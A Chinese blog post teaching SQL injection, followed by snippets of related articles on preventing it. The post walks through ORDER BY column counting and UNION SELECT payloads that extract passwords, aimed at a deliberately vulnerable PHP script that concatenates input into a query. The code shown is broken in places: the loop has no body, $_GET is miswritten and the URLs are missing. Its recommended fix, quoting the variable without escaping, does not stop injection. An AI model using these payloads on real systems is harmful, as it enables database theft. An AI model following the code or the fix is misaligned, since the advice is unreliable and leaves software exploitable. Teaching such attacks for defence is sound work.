SQL注入的幾種實用辦法

2021-07-09 05:21:21 字數 1526 閱讀 5729

一、查詢表中包含有多少列: 這裡以discuz舉例說明,如下

select * from pre_forum_thread order by 80
返回,unknown column '80' in 'order clause',這樣可以判定一定小於80列,下面再試用 39
select * from pre_forum_thread order by 39
正常返回了資料,我們判定一定大於等於39,因此只要再試一下40就可以了,這裡略過試用,對於開源程式,我完全可以知道他就是有39列。 二、構造引數,讀取資料庫中的密碼 這裡以本地建立的乙個表為例,前提是引數沒有被過濾等操作,表 account 含有三個字段,分別為 id,admin,password 表內包含資料為:
1 admin 12345678

2 test 134545

建立php讀取資料庫檔案 x.php:
<?php

$link = mysql_connect('127.0.0.1','root','11111111');

mysql_select_db('xtest',$link);

$id = isset($_get['id'])?$_get['id']:1;

$sql = "select * from `account` where id = " . $id;

$query = mysql_query($sql);

while($row = mysql_fetch_array($query))

?>

訪問位址  返回資料 test,到這裡開始sql的注入使用,構造引數後的位址
union select 1,2,3 from `account` where id=2
在返回資料中,發現2被返回了,因此,需要修改這裡的2位置為想要的字段內容,比如說 password ,即位址修改為
union select 1,password,3 from `account` where id=2
執行位址後返回資料:
test

134545

這樣密碼就得到了。 當然這裡只是簡單的舉例說明,沒有對密碼進行md5加密,如果是md5加密或其它加密的話,仍然需要接下來的破解,就不是這裡主要講述的內容了。 此問題的解決辦法,說乙個最簡單的吧 ,將sql語句 $sql = "select * from `account` where id = " . $id; 修改為
$sql = "select * from `account` where id = '$id'";
三、在第二個問題中,發現使用者是使用了 while將所有資料進行迴圈得出的資料,如果使用者不是迴圈,而是直接輸出了最後一條資料怎麼辦呢?
這時,只要將引數重新修改,就可以只返回union回來的資料了,如下
union select 1,password,3 from `account` where id=2
因為表裡面沒有這條id=3的資料,又或者
and 1=2 union select 1,password,3 from `account` where id=2
這裡很明顯 1和2是不相等的

防止SQL注入的幾種方式

1 什麼是sql注入 簡而言之,就是客戶端向服務端傳送請求時,將sql指令插入到form表單或者url中,達到欺騙伺服器的目的,最終這些注入進去的sql指令就會被伺服器誤認為是正常的sql指令而執行,因此服務端的資訊就存在被破壞或是洩露的危險。2 sql注入的防護 了解了sql注入,就需要有針對性的...

防止SQL注入解決辦法

sql注入是我們在程式開發過程中經常要注意的問題,屬於發生於應用程式之資料庫層的安全漏洞,通過構建特殊的輸入作為引數傳入web應用程式,而這些輸入大都是sql語法裡的一些組合,通過執行sql語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,致使非法資料侵入系統。簡而言之,...

sql防注入解決辦法

sql防注入步驟 1.什麼是sql注入?我理解的sql注入就是一些人可以通過惡意的引數輸入,讓後台執行這段sql,然後達到獲取資料或者破壞資料庫的目的!舉個簡單的查詢例子,後台sql是拼接的 select from test where name 引數傳遞 前台jsp頁面要求輸入name,那麼黑客可...